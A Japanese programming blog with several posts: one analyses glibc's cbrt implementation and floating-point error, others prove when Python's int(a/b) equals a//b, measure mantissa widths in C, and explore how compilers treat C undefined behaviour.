えびちゃんの日記

えびちゃん(競プロ)の日記です。

cbrt を求めよう (with glibc)

「そろそろ四則演算の誤差評価も飽きたな〜」「数学関数の計算とかもやってみてよ」という声が聞こえてきた*1ので、今日はそれをします。

å°Žå…¥

よく言われているような勘違いについて、一旦触れておきます。

cbrt(x) って pow(x, 1.0/3.0) でよくない?

IEEE Std 754-2019 の 9.2.1 Special values には、下記の記述があります。

$\mathrm{pow}(x, y)$ signals the invalid operation exception for finite $x\lt 0$ and finite non-integer $y$.

実際、pow(-1.0, 1.0/3.0) を計算してみると、C では NaN になり、Python では ValueError: math domain error が出ました。

また、精度においても違いがあります。 1.0/3.0 というのは、$\tfrac13$ とは異なる値です。 $$ \begin{aligned} 1\oslash3 &= 0.{\small 333333333333333}{\footnotesize 314829616256247}{\scriptsize 390992939472198}{\tiny 486328125} \\ &= \tfrac13\cdot(1-2^{-54}). \end{aligned} $$ $\tfrac13\cdot 2^{-54}$ の誤差のせいで、(cbrt が correctly-rounded な値を返すとして実装されていたとしても)所望の値になってくれないケースがしばしば発生します。 $$ \begin{aligned} 64^{\tfrac13\cdot(1-2^{-54})} &= 3.{\small 999999999999999}{\footnotesize 692180816275335}{\scriptsize 216604455276753}{\tiny 748400773143551{\dots}}, \\ \roundp{64^{\tfrac13\cdot(1-2^{-54})}} &= 3.{\small 999999999999999}{\footnotesize 555910790149937}{\scriptsize 383830547332763}{\tiny 671875} \\ &= 4-2^{-51}. \end{aligned} $$

そういうわけで、専用の関数を使う必要があるわけですね。

note: 1.0 / 3.0 を渡された pow 関数側に「オッ cbrt を計算したいんやな、気ィ利かせて補正しといたろw」とされると、それはそれでめちゃくちゃになりますね*2。

glibc 実装

精度?

cbrt(3375.0) を計算してみると、14.9999999999999982236431605997495353221893310546875 になりました。ウ〜ンム。 $3375 = 15^3$ ですが、$15-2^{-49}$ が返ってきていて嫌な気持ちになりますね。

note: GCC で単に cbrt(3375.0) と書くと 15.0 が出力される場合がありますが、これはコンパイル時に計算しているためです(アセンブリを見たりするとわかります)。C の規格的には、コンパイル時の計算と実行時の計算で精度などに違いがあることは許容されています。cbrt(strtod("15", NULL)) などとすると、そういう最適化を防げそうです。それでも防げなかった場合は、実行時に与えるようにするとよいですね。

N2347 からの引用

6.6/5

An expression that evaluates to a constant is required in several contexts. If a floating expression is evaluated in the translation environment, the arithmetic range and precision shall be at least as great as if the expression were being evaluated in the execution environment.

5.2.4.2.2/8

The accuracy of the floating-point operations (+, -, *, /) and of the library functions in <math.h> and <complex.h> that return floating-point resuls is implementation-defined, as is the accuracy of the conversion between floating-point internal representations and string representations performed by the library functions in <stdio.h>, <stdlib.h>, and <wchar.h>. The implementation may state that the accuracy is unknown.

そんな無責任なあ。$\eod$

19.7 Known Maximum Errors in Math Functions には、glibc が correct rounding な結果を目指しているわけではない旨や、crsin のように correct rounding 版を用意するかもしれない旨や、既知の誤差の表などが記載されています。

note: GCC (the GNU Compiler Collection) と glibc (the GNU C Library) は別物で、こうした標準関数は GCC ではなく glibc が提供しているものです。GCC はあくまで、(別途用意されているところの)glibc の関数を呼び出す実行ファイルを作っているだけですね (cf. 4.14 Library Functions)。

まえおき

さて、correctly-rounded ではないと知ってやる気を失くしている人もいるかもしれませんが、一応実装を見に行きましょう。 読者の人々(や、昔のえびちゃん)は数値計算のアルゴリズムに明るくないので、「どうせ Taylor 展開とかをしてるんでしょ?」のようなぼやぼやっとしたイメージをしていることと思いますが、そうではないです。

sysdeps/ieee754/dbl-64/s_cbrt.c (glibc-2.41) を読んでいきます。

disclaimer: sysdeps 配下の構造をいまいちわかっていないです。また、数学関数のライブラリのファイル名には e_ k_ s_ t_ v_ w_ などの prefix がついているのですが、これがなにを意味するのかもわかっていないです。glibc 以外の数学関数のライブラリでもこうした名前になっており、そうした慣習がある(or 昔のえらいプロジェクトがそうしていた?)とかなのかなぁと思っています。w_ は wrapper なのかなという雰囲気は感じています。k_ は kernel を意味していそうなのを見た記憶はあります*3。

方針

大まかな方針は次の通りです。

$\gdef\quot{\operatorname{quot}}$ $\gdef\rem{\operatorname{rem}}$

  • ${|x|} = x_m\times 2^{x_e}$ として分解する。ここで、$x_m\in[0.5\lldot 1)$ で、$x_e$ は整数である。
  • $\sqrt[3]{|x|} = x_m^{1/3}\times 2^{x_e/3} = (x_m^{1/3}\cdot 2^{(x_e\rem 3)/3})\times 2^{x_e \quot 3}$ と変形し、それぞれの部分を求める。
    • $\quot$ と $\rem$ はそれぞれ C の / と % に対応する除算と剰余算。商を $0$ 方向に丸めるため、あまりが負になることもある。

$(x_m, x_e)$ を求める部分は、frexp という標準関数によって行います。これは、内部のビット表現の操作によるものなので、誤差なしで可能です。 この際に、$0_{\pm}$, $\pm\infty$ や NaN であることの判定も可能なので、それらの場合はそのまま返してしまいます。

定数の計算

さて、本題となる下記について考えていきます。 $$ \sqrt[3]{|x|} = (x_m^{1/3}\cdot 2^{(x_e\rem 3)/3})\times 2^{x_e \quot 3}. $$ まず、$2^{(x_e\rem 3)/3}$ の部分は $2^{-2/3}$, $2^{-1/3}$, $2^{0/3}$, $2^{1/3}$, $2^{2/3}$ の 5 通りしかないため、定数として用意しておきます。 $$ \begin{aligned} r_{-2} &= 0.{\small 629960524947436}{\footnotesize 484310969717625}{\scriptsize 994235277175903}{\tiny 3203125}, \\ r_{-1} &= 0.{\small 793700525984099}{\footnotesize 680698591328109}{\scriptsize 614551067352294}{\tiny 921875}, \\ r_0 &= 1, \\ r_1 &= 1.{\small 259921049894873}{\footnotesize 190666544360283}{\scriptsize 296555280685424}{\tiny 8046875}, \\ r_2 &= 1.{\small 587401051968199}{\footnotesize 583441787581250}{\scriptsize 537186861038208}{\tiny 0078125}. \end{aligned} $$

$\angled{r_1, r_2} = \angled{\roundp{\sqrt[3]{2}}, \roundp{\sqrt[3]{4}}}$ ですが、$\angled{r_{-2}, r_{-1}} = \angled{1\oslash r_2, 1\oslash r_1} \ne \angled{\roundp{\sqrt[3]{0.25}}, \roundp{\sqrt[3]{0.5}}}$ となっています。

これらの値に関して

sysdeps/i386/fpu/s_cbrt.S でも同様のアルゴリズムがアセンブリで書かれていますが、こちらでは $\angled{r_{-2}, r_{-1}} = \angled{\roundp{\sqrt[3]{0.25}}, \roundp{\sqrt[3]{0.5}}}$ となっており、意図した定義になっているのかは微妙な気がします。コンパイル時計算などで実は correctly-rounded の値になる可能性も否定はできませんが、手元の環境ではそうはなっていないようでした。

volatile double x = 0.125; // コンパイル時に計算されるのを防ぐ
cbrt(x);

として、$0.5$ になれば $r_{-2} = \roundp{\sqrt[3]{0.25}}$ となっています。

volatile double x = 0.25;
cbrt(x);

こちらは、$0.{\small 629960524947436}{\footnotesize 706355574642657}{\scriptsize 302320003509521}{\tiny 484375}$ になれば $r_{-1} = \roundp{\sqrt[3]{0.5}}$ となっています。なお、このときの cbrt(0.25) の値は $\roundp{\sqrt[3]{0.25}}$ とは異なっていることに注意してください 🥲。

$$ \begin{aligned} \roundp{\sqrt[3]{0.5}} &= 0.{\small 793700525984099}{\footnotesize 791720893790625}{\scriptsize 268593430519104}{\tiny 00390625}, \\ \roundp{\sqrt[3]{0.25}} &= 0.{\small 629960524947436}{\footnotesize 595333272180141}{\scriptsize 648277640342712}{\tiny 40234375}. \quad\eod \end{aligned} $$

近似多項式

さて、残りは $x_m^{1/3}$ を求めるパートです。 定義から $x_m\in[0.5\lldot1)$ です。 このように、入力が特定の区間に含まれるケースに帰着する手法は、これ以外の数学関数においてもしばしば見られます。

以下で定義される多項式 $f$ を考えます。 $$ \begin{aligned} f(x) &= 0.{\small 354895765043919}{\footnotesize 841907893442112}{\scriptsize 253978848457336}{\tiny 42578125} \\ &\qquad {}+ 1.{\small 508191937815849}{\footnotesize 037463067361386}{\scriptsize 492848396301269}{\tiny 53125}\,x \\ &\qquad {}- 2.{\small 114994941673713}{\footnotesize 046981220031739}{\scriptsize 212572574615478}{\tiny 515625}\,x^2 \\ &\qquad {}+ 2.{\small 446931225635344}{\footnotesize 375746171863283}{\scriptsize 962011337280273}{\tiny 4375}\,x^3 \\ &\qquad {}- 1.{\small 834692774836130}{\footnotesize 801929812150774}{\scriptsize 523615837097167}{\tiny 96875}\,x^4 \\ &\qquad {}+ 0.{\small 784932344976639}{\footnotesize 218003811038215}{\scriptsize 644657611846923}{\tiny 828125}\,x^5 \\ &\qquad {}- 0.{\small 145263899385486}{\footnotesize 366933051272098}{\scriptsize 964545875787734}{\tiny 9853515625}\,x^6. \end{aligned} $$

この $f$ に対して $x_m^{1/3} \approx f(x_m)$ が成り立ちます。 $f(x_m)$ の計算の際には Horner’s method を用います*4。$f$ の計算にも誤差が出るため、Horner’s method による $f(x_m)$ の値は $\hat f(x_m)$ と表記することにしましょう。

この多項式は、おそらくは Remez algorithm などで求めたのだろうと推測しています。特定の区間における誤差の最大値を最小化するような(予め決めた次数以下の)近似多項式を求めるアルゴリズムです。 $x_m\in[0.5\lldot 1)$ としているので、$[0.5\lldot 1)$ でのよい近似が得られていればよいですね。

f の近似の様子のグラフ

点線がその境界、破線が近似されるべき真の値 $y=x^{1/3}$ で、赤の実線が上記の多項式 $y=\hat f(x)$ です。よさそうな見た目をしていますね。

念のためもう少し近づけておく

$\gdef\signum{\operatorname{sgn}}$

さて、もう少しだけ続きます。$\signum(x)\times(\hat f(x_m)\otimes r_{x_e\rem 3})\times 2^{x_e\quot 3}$ を返すわけではないです。

返すのは、$u = \hat f(x_m)$ および $t_2 = u\otimes u\otimes u$ として、次の値です。 $$ \signum(x)\times (u \otimes (t_2 \oplus 2x_m)\oslash(2t_2\oplus x_m)\otimes r_{x_e\rem 3})\times 2^{x_e\quot 3} $$

やっぱり $\circledast$ の表記だと分数が使えないので読みにくい 🥲。 計算せんとしている式の絶対値は次の通りです($\signum(x)$ の部分は煩雑になるので省きたいです)。 $$ u\cdot\frac{u^3+2x_m}{2u^3+x_m}\cdot r_{x_e\rem 3}\times 2^{x_e\quot 3} $$

$u \xgets{\times} \tfrac{u^3+2x_m}{2u^3+x_m}$ で更新し、$u\cdot r_{x_e\rem 3}\times 2^{x_e\quot 3}$ を返そうとしているという見方もできます。というわけで、この更新について見ていきます。

これは、Newton’s method ではなく Halley’s method と呼ばれる反復アルゴリズムの更新ステップです。次のような更新をします。 $$ x_{n+1} = x_n - \frac{2g(x_n)g'(x_n)}{2g'(x_n)^2-g(x_n)g''(x_n)} $$ この反復により、$g(x) = 0$ の根を求めます。 たとえば $a$ の 3 乗根を求めたいときは $g(x) = x^3-a$ として行えばよいですね。 $g'(x) = 3x^2$, $g''(x) = 6x$ です。

$$ \begin{aligned} x_{n+1} &= x_n - \frac{2\cdot(x_n^3-a)\cdot 3x_n^2}{2\cdot(3x_n^2)^2-(x_n^3-a)\cdot 6x_n} \\ &= x_n - \frac{6x_n^5 - 6ax_n^2}{18x_n^4 - 6x_n^4+6ax_n} \\ &= x_n - \frac{x_n^4 - ax}{2x_n^3+a} \\ &= \frac{2x_n^4+ax_n-x^4+ax_n}{2x_n^3+a} \\ &= x_n\cdot \frac{x_n^3+2a}{2x_n^3+a} \end{aligned} $$ $(x_n, a) = (u, x_m)$ とすることで、上で見た式と一致します。

$u^3$ を t2 という名前にした意図はよくわかりませんでした。何らかの一般的な手法で使われていた記号を流用したとかでしょうか。

完成

$\signum(x)\times u\cdot r_{x_e\rem 3}\times 2^{x_e\quot 3}$ を返します。

最後の $2^{x_e\quot 3}$ を掛けるパートは、ldexp という標準関数により行います。

余談

だったら $f$ なんて使わずに最初から Halley’s method を使えばいいんじゃんという声も聞こえます。 おそらくは除算が重いため避けているのではないかなと推測するところです。

(xm, xe) = math.frexp(x)
yi = math.ldexp(xm, xe // 3)
for _ in range(4):
    yi3 = yi * yi * yi
    yi *= (yi3 + 2 * xi) / (2 * yi3 + xi)

    # yi3 = yi * yi * yi
    # yi3_xi = yi3 + xi
    # yi *= (yi3_xi + xi) / (yi3_xi + yi3)

反復 4 回の収束の様子

$(0\lldot 2]$ の範囲で $10^{-5}$ 刻みで試したところ、4 回の反復でだいたい $5\times 10^{-16}$ 程度の相対誤差に収まっていそうでした。 反復が 3 回のときは $6\times 10^{-6}$ くらいでした。3 次収束らしいので、1 回の反復でだいぶ差が出ますね。

反復 1 回あたり +, *, / がそれぞれ 2, 5, 1 回(計算順序を変えて yi3 + xm 先に計算することにしても 3, 3, 1 回)です。 Horner’s method による $\hat f$ の計算回数はそれぞれ 6, 6, 0 回(- も + として計上)なので、Halley’s method 2 回分よりもお得ですね。適当な初期値から反復するよりも、多項式を用いて計算する方がお得です。

Halley’s method で収束した後の値に対して $r_{x_e\rem 3}$ を掛けるのは、損しているような気がしないでもないような気もします。

また、Newton’s method で yi *= (2 * yi3 + xi) / (3 * yi3) を用いた場合は、反復を 7 回しても $4\times 10^{-12}$ 程度の誤差がありました。

参考文献

感想

今回は glibc の cbrt を見ましょうというだけの回でしたが、やっぱりそれだけじゃ満足できなくて、(使い道がどの程度あるかなんてのはさておき)correctly-rounded な値を計算できることに憧れますよね。 競プロ界隈においては(というか人間界においては)、「そんな標準関数の精度を気にするより、普通の四則演算で catastrophic cancellation を起こさないように気をつける方が先ですよ」というケースの方が多いので、correctly-rounded なんてのはまだ先の先の話かもしれないですが、人間界の事情なんてえびちゃんの知ったことではないですね。

近似多項式 $f$ も天下りで与えたものを使っただけなので、ちょっと物足りなさはあります。 Remez algorithm についても深掘りできたらいいなと思っています。

C や IEEE 754、POSIX に C++ と、さまざまな規格で思い思いの数学関数を定義しておられるので、めちゃくちゃな個数の数学関数があります。特に C++ はもうめちゃくちゃです。

数学関数たち

C の規格で定義されている数学関数には下記があります。ビット操作やそれに類するものなどは除外しています。

  • trigonometric functions
    • cos $\cos(x)$, sin $\sin(x)$, tan $\tan(x)$
    • acos $\arccos(x)$, asin $\arcsin(x)$, atan $\arctan(x)$
    • atan2
  • hyperbolic functions
    • acosh $\arcosh(x)$, asinh $\arsinh(x)$, atanh $\artanh(x)$
  • exponential and logarithmic functions
    • exp $e^x$, exp2 $2^x$, expm1 $e^x-1$
    • log $\ln(x)$, log10 $\log_{10}(x)$, log1p $\ln(1+x)$, log2 $\log_2(x)$
  • power and absolute-value functions
    • cbrt $x^{1/3}$
    • fabs $|x|$
    • hypot $\sqrt{x^2+y^2}$
    • pow $x^y$
    • sqrt $\sqrt x$
  • error and gamma functions
    • erf $\operatorname{erf}(x) = \displaystyle\frac2{\sqrt\pi}\int_0^x e^{-t^2}\,\mathrm{d}t$
    • erfc $\operatorname{erfc}(x) = 1 - \operatorname{erf}(x)$
    • lgamma $\ln(|\Gamma(x)|)$
    • tgamma $\Gamma(x)$
  • nearest integer functions
    • ceil $\ceil{x}$
    • floor $\floor{x}$
    • round, roundeven, trunc
  • floating multiply-add
    • fma $(x\times y)+z$

IEEE Std 754-2019 の additional mathematical operations には、下記のような関数もあります。

  • exp2m1 $2^x-1$, exp10 $10^x$, exp10m1 $10^x-1$
  • log2p1 $\log_2(1+x)$, log10p1 $\log_10(1+x)$
  • rSqrt $1/\sqrt{x}$
  • compound $(1+x)^n$
  • rootn $x^{1/n}$
  • sinPi $\sin(\pi x)$, cosPi $\cos(\pi x)$, tanPi $\tan(\pi x)$
  • asinPi $\arcsin(x)/\pi$, acosPi $\arccos(x)/\pi$, atanPi $\arctan(x)/\pi$
  • atan2Pi

POSIX には次の関数もあります。

C++ にもたくさんあります (cf. [cmath.syn])。列挙を諦めました。ところでこれいつ使うんですか? $\eod$

え、これ全部の correctly-rounded 版を実装させられるんですか...? 😭(correctly-rounded の本質は、実装ではなく証明パートという話もあります。)

おわり

おわりです。

*1:自分の中から聞こえてきた声です。そもそも浮動小数点型に興味を持っているフォロヮが少ないため。

*2:現実としては、そういうめちゃくちゃな使い方をしたい人が多そうなので、そういう仕様の方が「幸福度」が高くなるのかもしれませんが...。そういう ad hoc な意味不明仕様にはなってほしくないですね。

*3:たぶん Linux kernel とかの kernel とは違う文脈で、「核となる部分だよ〜」くらいだと解釈しています。

*4:$a_0+a_1x+a_2x^2+\cdots$ を計算する際に、$a_0\oplus (a_1\otimes x)\oplus(a_2\otimes x\otimes x) \oplus \cdots$ とするのではなく、$( (\cdots\oplus a_2)\otimes x\oplus a_1)\otimes x\oplus a_0$ とする手法。

浮動小数点型の仮数部の桁数を知りたいとき

C++ で #include <limits> をして std::numeric_limits<__float128>::digits をすると 0 と返ってきました。

よって、__float128 は float にすら劣る桁数しかないことがわかりました。いかがでしたか?

コード

#include <math.h>
#include <stdio.h>

#define MAGIC 0x7EEE
#define PRECISION(F) lround(-log2((F)((F)1 - (F)((F)((F)1 / (F)MAGIC) * (F)MAGIC))))

int main(void) {
    printf("%ld\n", PRECISION(_Float16));    // 11
    printf("%ld\n", PRECISION(float));       // 24
    printf("%ld\n", PRECISION(double));      // 53
    printf("%ld\n", PRECISION(long double)); // 64
    printf("%ld\n", PRECISION(__float128));  // 113
}

雑談

各浮動小数点型 _Float16, float, double, long double, __float128 に対して、それぞれの仮数部の桁数を $p$ bits として $$(1\oslash \roundp{\texttt{7EEE}_{(16)}})\otimes\roundp{\texttt{7EEE}_{(16)}} = 1 - 2^{-p}$$ が成り立つことを利用しています。 丸めモードは tiesToEven を前提としているのと、これ以外の仮数部の型については知りません。便宜上 long double の仮数部が 64 bits であるかのように書いていますが、処理系によって 53 bits だったり 113 bits だったりすることもあります。

なお、_Float16 においては $1\oslash 16384$ 未満で (graceful) underflow してしまうことに注意しましょう。 今まではそういう状況を考慮する必要がなかったので、$\oslash$ などの演算子に対して「仮数部が $p$ bits で丸めモードが tiesToEven で、〜」とだけ思っていましたが、厳密には指数部の桁数も考慮する必要がありますね*1。

promotion によって double 未満の型が double に変換されるため、いちいち (F) でキャストし直しています。 挙動を見た感じだと _Float16 は promote しないように見えました。float だけ?

_Float16 については 6.13 Half-Precision Floating Point を読むとよいかもしれません。__fp16 は使えたり使えなかったりしそうです。

おわり

おわりです。 この記事が役に立たないことを祈ります。

*1:カスの記事だとしても、書いているうちに気づきを得られる例。

Python における int(a / b) と a // b について

a / b の時点で float になって誤差が出てしまうので、$\floor{a/b}$ になってくれるとは限りません。というのがよくある説明です。

「誤差が出てしまう」と言われると、「では実際にそういうケースを構築してください」「誤差が出ない範囲を教えてください」と言いたくなってしまうのが人情というものです。 なので、それに答えましょう。

å°Žå…¥

まず、int / int についてですが、「両方のオペランドを float に変換してから除算し、float / float と同様の値を得る」演算ではありません。 いわゆる correctly-rounded な演算です。すなわち、除算を無限精度で行い、それを丸めモード(ここでは tiesToEven)に従って正確に丸めたものです。

なお、片方が float のときは float / float になってしまうようです。

>>> a, b = 2**53+1, 3
>>> a / b
3002399751580331.0
>>> float(a) / float(b)
3002399751580330.5
>>> a / float(b)
3002399751580330.5

note: int() は $0$ 方向への丸め、// は $-\infty$ 方向への丸めです。

a や b がどのくらいの大きさであれば int(a / b) == a // b となってくれるのか?というのが、今回知りたいことです。

上界

さて、自明な反例を挙げておきましょう。

>>> a, b = 2**53+1, 1
>>> int(a / b)
9007199254740992
>>> a // b
9007199254740993

float(a) != a となりうる範囲ではどうしようもないということですね。 以降は、float(a) == a であるところの $1\le a\le 2^{53}$ であればどうか?ということについて考えます。

spoiler: $1\le a\le 2^{53}$ であれば、常に等しくなることが示せます。

証明

いつものように、実数 $x$ を浮動小数点数に丸めたものを $\roundp x$ と書き、浮動小数点数 $a$, $b$ に対して $\roundp{\tfrac ab} = a\oslash b$ と書きます。 前提知識などについて、必要なら下記の記事を見てください。

rsk0315.hatenablog.com

まず、$a, b \in [1\lldot 2^{53}]\cap\Z$ とし、$a=bq+r$ ($q\in\Z$, $r\in [0\lldot b-1]\cap\Z$) とします。 また、$q\ge 1$ のとき、整数 $k$ は $2^k\le q\lt 2^{k+1}$ を満たすとします。すなわち、$\hfloor q=2^k$ です。

この範囲において $\roundp a=a$, $\roundp b=b$ であることに注意しましょう。

Lemma 1: $\tfrac1b \ge q\cdot2^{-53}$ が成り立つ。

Proof

$$ \begin{aligned} \tfrac1b-q\cdot2^{-53} &\ge \tfrac1b-(q+\tfrac rb)\cdot2^{-53} \\ &= \tfrac1b-\tfrac ab\cdot2^{-53} \\ &= \tfrac1b\cdot2^{-53}\cdot(2^{53}-a) \\ &\ge 0. \qquad\qed \end{aligned} $$

Claim 2: $a\lt b$ のとき、$\floor{a\oslash b} = \floor{\tfrac ab} = 0$ が成り立つ。

Proof

$\tfrac ab\gt 0$ より $a\oslash b\ge 0$ は明らかなので、$a\oslash b\lt 1$ を示せばよい。 $1$ 未満で最大の浮動小数点数は $1-2^{-53}$ であり、$\tfrac ab\lt1-2^{-54} \implies a\oslash b\lt 1$ となる。

整数性より、$a\le b-1$ であることに注意する。 $$ \begin{aligned} \tfrac ab - (1-2^{-54}) &\le \tfrac{b-1}b - (1-2^{-54}) \\ &= -\tfrac1b+2^{-54} \\ &\le -2^{-53}+2^{-54} \\ &\lt 0. \qquad\qed \end{aligned} $$

Claim 3: $a\ge b$ かつ $\hfloor q=q$ のとき、$\floor{a\oslash b} = \floor{\tfrac ab}$ が成り立つ。

Proof

丸めの範囲から、$\floor{a\oslash b} = q$ となる十分条件は次のように書ける。 $$ q-2^{k-54} \le \tfrac ab \le q+1-2^{k-53}. $$

まず、左側の不等式を示す。 $$ \begin{aligned} q-2^{k-54} - \tfrac ab &= q-q\cdot2^{-54} - (q+\tfrac rb) \\ &= -q\cdot 2^{-54} - \tfrac rb \\ &\le 0. \end{aligned} $$ (追記:$q\le\tfrac ab$ から明らかでした)

次に、右側の不等式を示す。最後の不等号は Lemma 1 による。 $$ \begin{aligned} q+1-2^{k-53}-\tfrac ab &= q+1-q\cdot 2^{-53} - (q+\tfrac rb) \\ &= 1-q\cdot 2^{-53} - \tfrac rb \\ &\ge 1-q\cdot 2^{-53} - \tfrac{b-1}b \\ &= \tfrac1b - q\cdot 2^{-53} \\ &\ge 0. \qquad \qed \end{aligned} $$

Claim 4: $a\ge b$ かつ $\hfloor q\lt q$ のとき、$\floor{a\oslash b} = \floor{\tfrac ab}$ が成り立つ。

Proof

丸めの範囲から、$\floor{a\oslash b} = q$ となる十分条件は次のように書ける*1。 $$ q-2^{k-53} \lt \tfrac ab \lt q+1-2^{k-53}. $$

まず、左側の不等式を示す。 $$ \begin{aligned} q-2^{k-53} - \tfrac ab &= q-2^{k-53} - (q+\tfrac rb) \\ &= -2^{k-53} - \tfrac rb \\ &\lt 0. \end{aligned} $$

次に、右側の不等式を示す。最後の不等号は Lemma 1 による。 $$ \begin{aligned} q+1-2^{k-53} - \tfrac ab &= q+1-2^{k-53} - (q+\tfrac rb) \\ &= 1-2^{k-53} - \tfrac rb \\ &\ge 1-2^{k-53} - \tfrac{b-1}b \\ &= \tfrac1b - 2^{k-53} \\ &\gt \tfrac1b - q\cdot 2^{-53} \\ &\ge 0. \qquad\qed \end{aligned} $$

Corollary 5: $\floor{a\oslash b} = \floor{\tfrac ab}$ が成り立つ。

Proof: Claims 2–4 より従う。

所感

これは結構うれしい結果なのではないでしょうか? たとえば JavaScript のようにデフォルトの数値型が binary64 な言語においても、$2^{53}$ 以下の非負整数であれば、誤差なしで切り捨て除算ができることが保証されるわけですからね*2。 また、扱いたい整数の範囲が $2^{53}$ 以下に収まっているのであれば、(クロック数などによるところの)double を使う高速化が正当化されますね。

$a\gt 2^{53}$ の範囲では、$\floor{a\oslash b} = \floor{\tfrac ab}$ となるのはどういうときでしょうか? すぐに見つかった反例としては $(a, b) = (2^{54}-2, 3)$ がありました。冷静になるとそれはそうという感じですね。

簡単な不等式評価で済んだとはいえ、もやもや〜っとしたお祈りではなく確信を持って扱えるようになるのはうれしいことです。

おわり

おわりです。

*1:$\le$ だった場合、仮数部の偶奇によって所望の範囲外に丸められたりそうでなかったりする。

*2:本文中では陽に触れていないですが、$a = 0$ のときも当然大丈夫です。

C の未定義動作とあそぼう

こんにちは。

まえがき

引用たち

www.open-std.org

C17 (ISO/IEC 9899:2018) の similar draft であるところの N2310 を見ています。

§ 3.4.3

undefined behavior
behavior, upon use of a nonportable or erroneous program construct or of erroneous data, for which this International Standard imposes no requirements

Note 1 to entry: Possible undefined behavior ranges from ignoring the situation completely with unpredictable results, to behaving during translation or program execution in a documented manner characteristic of the environment (with or without the issuance of a diagnostic message), to terminating a translation or execution (with the issuance of a diagnostic message).

EXAMPLE An example of undefined behavior is the behavior on integer overflow.

§ 4/1

In this International Standard, “shall” is to be interpreted as a requirement on an implementation or on a program; conversely, “shall not” is to be interpreted as a prohibition.

§ 4/2

If a “shall” or “shall not” requirement that appears outside of a constraint or runtime-constraint is violated, the behavior is undefined. Undefined behavior is otherwise indicated in this International Standard by the words “undefined behavior” or by the omission of any explicit definition of behavior. There is no difference in emphasis among these three; they all describe “behavior that is undefined”.

§ 5.1.1.1/1

A C program need not all be translated at the same time. The text of the program is kept in units called source files, (or preprocessing files) in this International Standard. A source file together with all the headers and source files included via the preprocessing directive #include is known as a preprocessing translation unit. After preprocessing, a preprocessing translation unit is called a translation unit. Previously translated translation units may be preserved individually or in libraries. The separate translation units of a program communicate by (for example) calls to functions whose identifiers have external linkage, manipulation of objects whose identifiers have external linkage, or manipulation of data files. Translation units may be separately translated and then later linked to produce an executable program.

§ 5.1.1.3/1

A conforming implementation shall product at least one diagnostic message (identified in an implementation-defined manner) if a preprocessing translation unit or translation unit contains a violation of any syntax rule or constraint, even if the behavior is also explicitly specified as undefined or implementation-defined. Diagnostic messages need not be produced in other circumstances.9)

9)The intent is that an implementation should identify the nature of, and where possible localize, each violation. Of course, an implementation is free to produce any number of diagnostics as long as a valid program is still correctly translated. It may also successfully translate an invalid program.

$\eod$

ignoring the situation completely with unpredictable results

主に、未定義動作で「よくわかんないことが起きている」というのはこれの結果かと思います。

この部分は、「コンパイラがバイナリを吐く際に、(規格上で)未定義となっている部分のことは完全に無視してしまう」「その結果なにが起きても知ったことではない(どうせその部分が問題になることはない ≒ その部分が問題になるならコンパイラではなくプログラム側が悪いから)」といったような意味合いです。 これにより、ある種の最適化が可能になったり、ある種の(事実上不可能な)静的解析をする責任をコンパイラに負わせずに済んだりします。

よく「(こうした挙動は)無責任だ」「そうしてまで最適化にこだわるのか?」のようなことを言う人を見かけますが、「C はそういうタイプの言語だ」という話です。そこの議論をしたい回ではないです。

それで、“unpredictable” に論点を戻しますが、あくまで「C のコンパイラが絡むレイヤーで予測できない」という話であり、アセンブリなり機械語なりを読めば挙動の把握は当然可能です。 つまり、たとえば「ふたつの全く同じ実行ファイルがあります。片方は C のエキスパートが書いた完全に正しいプログラムをコンパイルしてできたもので、他方は素人が書いた未定義動作を含むプログラムをコンパイルしてできたものです。どちらかを実行するとパソコンが爆発する可能性があります。がんばって見極めて、前者の方を実行してください」のようなゲームはナンセンスということです*1。

もちろん、ある(動作が未定義の)プログラムとそのコンパイル結果を見て「こういう未定義動作を書けばこういう挙動になってくれるんだな」と判断するのは誤りです。 コンパイラのバージョンやコンパイルオプションによって挙動は変わりますし、それらを固定した場合でも、コードの他の部分との兼ね合いで挙動が変わったりすることはよくあります。

「可搬性がないから未定義動作は書くな」みたいな話がしたいわけでもなくて、環境などを固定して未定義動作のコードを食わせた場合に、コンパイラちゃんがどうしてくれるかを見て楽しみたいという回です。

この記事は「気をつけた上であれば未定義動作のコードを商用プログラムで書いてもいい」とか「検証(?)できていれば未定義動作は正当化される」とかいう変な主張をしたいわけではありません。 未定義動作で遊んでいると、未定義動作アレルギーの大人たちがすぐ怒ってくるので困りものです。 えびちゃんはそんなことは百も承知ですし、むしろお遊びプログラムの中でも(未定義動作で遊ぶことを目的としている場合や、コンパイラの挙動を完全に把握している場合などを除き)未定義動作を書くのは愚かだという立場です。

注意

C の規格で「これこれの動作は未定義である」と書かれている場合でも、それはあくまで C の規格として未定義という話で、機械語レベルでそれに相当する動作をした場合の挙動が未定義とは言っていないことに注意しましょう。C の規格は機械語の規格ではないので当然と言えば当然ですよね。

たとえば、C ではゼロ除算は未定義動作なので、下記の関数の動作は未定義です。

int foo(int x) {
    x /= 0;
    return 0;
}

つまり、なんらかの最適化の結果として、foo() を呼んだときにパソコンを爆発させる関数を呼び出したとしても、C の規格としては問題ないことになります。

一方で、idivl の命令においては、ゼロ除算をした場合は #DE 例外が起きることが定義されているため、下記の関数によってパソコンが爆発させられることはありません。

foo:
        movl    %edi, %eax
        xorl    %edx, %edx
        xorl    %ecx, %ecx
        idivl   %ecx
        xorl    %eax %eax

もちろん、C においては未初期化の変数を使うことも未定義動作なので、x = 0 の意味で x ^= x とするのも未定義動作となります。

また、処理系定義 (implementation-defined) や未規定 (unspecified) などの概念と混同しないように注意しましょう。 あるいは、未定義動作のことを「環境依存」のような言い方をするのも避けましょう(環境が定まっても動作が決まるわけではないため)。

補足ですが、「未定義動作であればコンパイラはなにをやってもいい」というのは、(前述したように)「その状況に応じて最適化をするための仮定のために使ってよい」という話であり、「規格では定義されていないままの部分に、独自の仕様を追加してもよい」というのに限った意味ではないことにも注意してください。

おあそび

Compiler Explorer というサイトがあります。x86-64 gcc 14.2 と x86-64 clang 19.1.0 で、-O3 --std=c++17 として遊びます。

多少の補足はしますが、読者にはアセンブリを眺めて雰囲気を掴めることを仮定します。

配列境界外参照

機械語的には、与えられたアドレスの値を読むこと自体は問題ないです。マッピングなり読み取り権限なりで大丈夫なら読めますし、そうでないなら(予め決められた)#GP などの例外が投げられます。 一方で、C のレイヤーでは(上記のような事情は無関係に)未定義動作となります。

int foo(int i) {
    int a[] = {12345};
    return a[i];
}

a の添字として有効なのは 0 のみです。よって、i == 0 以外のケースについては無視できます。よって、次のように最適化できます。

foo:
        movl   $12345, %eax
        ret

